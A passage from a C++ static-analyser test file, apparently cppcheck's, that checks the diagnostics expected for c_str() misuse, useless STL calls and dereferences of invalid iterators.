errout_str());\n\n check(\"void f(const wchar_t* w, int i = 0, ...);\\n\" // #10357\n \"void f(const std::string& s, int i = 0);\\n\"\n \"void g(const std::wstring& p) {\\n\"\n \" f(p.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" //#9161\n \" const char* f() const noexcept {\\n\"\n \" return (\\\"\\\" + m).c_str();\\n\"\n \" }\\n\"\n \" std::string m;\\n\"\n \"};\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10493\n \" void f(const char** pp);\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void S::f(const char** pp) {\\n\"\n \" try {\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" s = \\\"xyz\\\";\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b(a.c_str());\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b{ a.c_str() };\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b = a.c_str();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a + b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a.c_str() + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::vector v;\\n\" // don't crash\n \"int i;\\n\"\n \"void f() {\\n\"\n \" const double* const QM_R__ buf(v.data() + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\" // #7515\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(std::stringstream& strm, const std::string& s, T& t) {\\n\"\n \" strm << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str() << \\\"def\\\";\\n\"\n \" strm << \\\"abc\\\" << t.g().c_str() << \\\"def\\\";\\n\"\n \" strm << t.a[0].c_str();\\n\"\n \" strm << t.v.begin()->c_str();\\n\"\n \" auto it = t.v.begin()\\n\"\n \" strm << it->c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:8:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:9:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:10:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:11:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:12:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:14:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\",\n errout_str());\n\n check(\"struct S { std::string str; };\\n\"\n \"struct T { S s; };\\n\"\n \"struct U { T t[1]; };\\n\"\n \"void f(const T& t, const U& u, std::string& str) {\\n\"\n \" if (str.empty())\\n\"\n \" str = t.s.str.c_str();\\n\"\n \" else\\n\"\n \" str = u.t[0].s.str.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:8:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\",\n errout_str());\n\n check(\"void f(std::string_view);\\n\" // #11547\n \"void g(const std::string & s) {\\n\"\n \" f(s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Passing the result of c_str() to a function that takes std::string_view as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"std::string_view f(const std::string& s) {\\n\"\n \" std::string_view sv = s.c_str();\\n\"\n \" return sv;\\n\"\n \"}\\n\"\n \"std::string_view g(const std::string& s) {\\n\"\n \" std::string_view sv{ s.c_str() };\\n\"\n \" return sv;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Assigning the result of c_str() to a std::string_view is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:6:22]: (performance) Constructing a std::string_view from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s) {\\n\" // #11819\n \" std::string_view sv(s.data(), 13);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::string x; };\\n\" // #11802\n \"std::vector> global;\\n\"\n \"const char* f() {\\n\"\n \" auto s = std::make_shared();\\n\"\n \" global.push_back(s);\\n\"\n \" return s->x.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uselessCalls() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (performance) It is inefficient to swap a object with itself by calling 's2.swap(s2)' [uselessCallsSwap]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.compare(s2);\\n\"\n \" s2.compare(s2);\\n\"\n \" s1.compare(s2.c_str());\\n\"\n \" s1.compare(0, s1.size(), s1);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (warning) It is inefficient to call 's2.compare(s2)' as it always returns 0. [uselessCallsCompare]\\n\", errout_str());\n\n // #7370 False positive uselessCallsCompare on unknown type\n check(\"class ReplayIteratorImpl{\\n\"\n \" int Compare(ReplayIteratorImpl* other) {\\n\"\n \" int cmp;\\n\"\n \" int ret = cursor_->compare(cursor_, other->cursor_, &cmp);\\n\"\n \" return (cmp);\\n\"\n \" }\\n\"\n \" WT_CURSOR *cursor_;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" std::string s1, s2;\\n\"\n \" s1 = s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:8:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:9:10]: (performance) Ineffective call of function \\'substr\\' because it returns an empty string. [uselessCallsSubstr]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" string s1, s2;\\n\"\n \" s1 = s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" std::string str = \\\"a1b1\\\";\\n\"\n \" return str.find(str[1], 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(std::vector& v) {\\n\"\n \" v.empty();\\n\"\n \" return v.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Ineffective call of function 'empty()'. Did you intend to call 'clear()' instead? [uselessCallsEmpty]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #4938\n \" OdString str;\\n\"\n \" str.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #4032\n \" const std::string greeting(\\\"Hello World !!!\\\");\\n\"\n \" const std::string::size_type npos = greeting.rfind(\\\" \\\");\\n\"\n \" if (npos != std::string::npos)\\n\"\n \" std::cout << greeting.substr(0, npos) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector a) {\\n\"\n \" std::remove(a.begin(), a.end(), val);\\n\"\n \" std::remove_if(a.begin(), a.end(), val);\\n\"\n \" std::unique(a.begin(), a.end(), val);\\n\"\n \" x = std::remove(a.begin(), a.end(), val);\\n\"\n \" a.erase(std::remove(a.begin(), a.end(), val));\\n\"\n \" std::remove(\\\"foo.txt\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Return value of std::remove() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:3:5]: (warning) Return value of std::remove_if() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:4:5]: (warning) Return value of std::unique() ignored. Elements remain in container. [uselessCallsRemove]\\n\", errout_str());\n\n // #4431 - fp\n check(\"bool f() {\\n\"\n \" return x ? true : (y.empty());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8360\n check(\"void f(std::string s) {\\n\"\n \" for (;s.empty();) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11166\n check(\"std::string f(std::string s) {\\n\"\n \" s = s.substr(0, s.size() - 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t start, std::size_t end, const std::string& i) {\\n\"\n \" s = s.substr(0, start) + i + s.substr(end + 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use replace() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = { s.begin(), s.begin() + end };\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::list f(std::list l, std::size_t end) {\\n\"\n \" l = { l.begin(), l.begin() + end };\\n\"\n \" return l;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'l' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string{ s.begin(), s.begin() + end };\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string(s.begin(), s.begin() + end);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::vector f(std::vector v, std::size_t end) {\\n\"\n \" v = std::vector(v.begin(), v.begin() + end);\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'v' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n }\n\n void stabilityOfChecks() {\n // Stability test: 4684 cppcheck crash in template function call.\n check(\"template\\n\"\n \"class EffectivityRangeData {};\\n\"\n \"template\\n\"\n \"class EffectivityRange {\\n\"\n \" void unite() {\\n\"\n \" x < vector < EffectivityRangeData> >();\\n\"\n \" EffectivityRange er;\\n\"\n \" }\\n\"\n \" void shift() { EffectivityRangeData::iterator it; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator() {\n // Test simplest \"if\" with && case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if(foo) { bar(); }\\n\"\n \" else if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test suggested correction doesn't report an error\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (i != str.end() && std::isalpha(*i)) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"while\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" do {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" } while (std::isalpha(*i) && i != str.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(!std::isalpha(*i) || i == str.end())) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test fix for \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(i == str.end() || !std::isalpha(*i))) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"for\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) && i != str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"for\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) || i == str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that a dereference outside the condition part of a \"for\"\n // loop does not result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (char c = *i; isRunning && i != str.end() ;) {\\n\"\n \" std::cout << c;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test that other \"&&\" terms in the condition don't invalidate the check\n check(\"void foo(char* c, std::string::iterator& i) {\\n\"\n \" if (*c && std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that dereference of different variable doesn't trigger a false positive\n check(\"void foo(const char* c, std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*c) && i != str.end()) {\\n\"\n \" std::cout << *c;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test case involving \"rend()\" instead of \"end()\"\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.rend()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that mixed \"&&\" and \"||\" don't result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if ((i == str.end() || *i) || (isFoo() && i != str.end())) {\\n\"\n \" std::cout << \\\"foo\\\";\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = std::end(v);\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = std::begin(v);\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"int f(std::vector v, int pos) {\\n\"\n \" if (pos >= 0)\\n\"\n \" return *(v.begin() + pos);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector v, int i) {\\n\"\n \" auto it = std::find(v.begin(), v.end(), i);\\n\"\n \" if (it != v.end()) {}\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12] -> [test.cpp:4:13]: (warning) Either the condition 'it!=v.end()' is redundant or there is possible dereference of an invalid iterator: it. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:27]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:35]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:25]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i!=v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end()) {\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:16]: (warning) Either the condition 'i!=v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end()) { return; }\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:12]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && (i+1) != v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if (!isalpha(*(i + 2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:37] -> [test.cpp:4:30]: (warning) Either the condition '(i+1)!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+2. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(int v, std::map &items) {\\n\"\n \" for (auto it = items.begin(); it != items.end();)\\n\"\n \" (it->first == v) ? it = items.erase(it) : ++it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if ((i + 2) != s.end() && !isalpha(*(i + 2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector::iterator it, const std::vector& vector) {\\n\"\n \" if (!(it != vector.end() && it != vector.begin()))\\n\"\n \" throw std::out_of_range();\\n\"\n \" if (it != vector.end() && *it == 0)\\n\"\n \" return -1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector &vect) {\\n\"\n \" const int &v = *vect.emplace(vect.end());\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern bool bar(int);\\n\"\n \"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && bar(*(i+1)) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:4:31]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n // #10657\n check(\"std::list mValues;\\n\"\n \"typedef std::list::iterator ValueIterator;\\n\"\n \"void foo(ValueIterator beginValue, ValueIterator endValue) {\\n\"\n \" ValueIterator prevValue = beginValue;\\n\"\n \" ValueIterator curValue = beginValue;\\n\"\n \" for (++curValue; prevValue != endValue && curValue != mValues.end(); ++curValue) {\\n\"\n \" a = bar(*curValue);\\n\"\n \" prevValue = curValue;\\n\"\n \" }\\n\"\n \" if (endValue == mValues.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10642\n check(\"int f(std::vector v) {\\n\"\n \" return *(v.begin() + v.size() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10716\n check(\"struct a;\\n\"\n \"class b {\\n\"\n \" void c(std::map &);\\n\"\n \" std::string d;\\n\"\n \" std::map> e;\\n\"\n \"};\\n\"\n \"void b::c(std::map &) {\\n\"\n \" e.clear();\\n\"\n \" auto f = *e[d].begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:23]: (error) Out of bounds access in expression 'e[d].begin()' because 'e[d]' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n // #10151\n check(\"std::set::iterator f(std::set& s) {\\n\"\n \"for (auto it = s.begin(); it != s.end(); ++it)\\n\"\n \" if (*it == 42)\\n\"\n \" return s.erase(it);\\n\"\n \" return s.end();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #11381\n check(\"int f(std::map& map) {\\n\"\n \" auto it = map.find(1);\\n\"\n \" if (it == map.end()) {\\n\"\n \" bool bInserted;\\n\"\n \" std::tie(it, bInserted) = map.emplace(1, 42);\\n\"\n \" }\\n\"\n \" return debug_valueflow(it)->second;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11557\n check(\"bool f(const std::vector& v, std::vector::iterator it, bool b) {\\n\"\n \" if (it == v.end())\\n\"\n \" return false;\\n\"\n \" if (b && ((it + 1) == v.end() || (*(it + 1)) != nullptr))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n 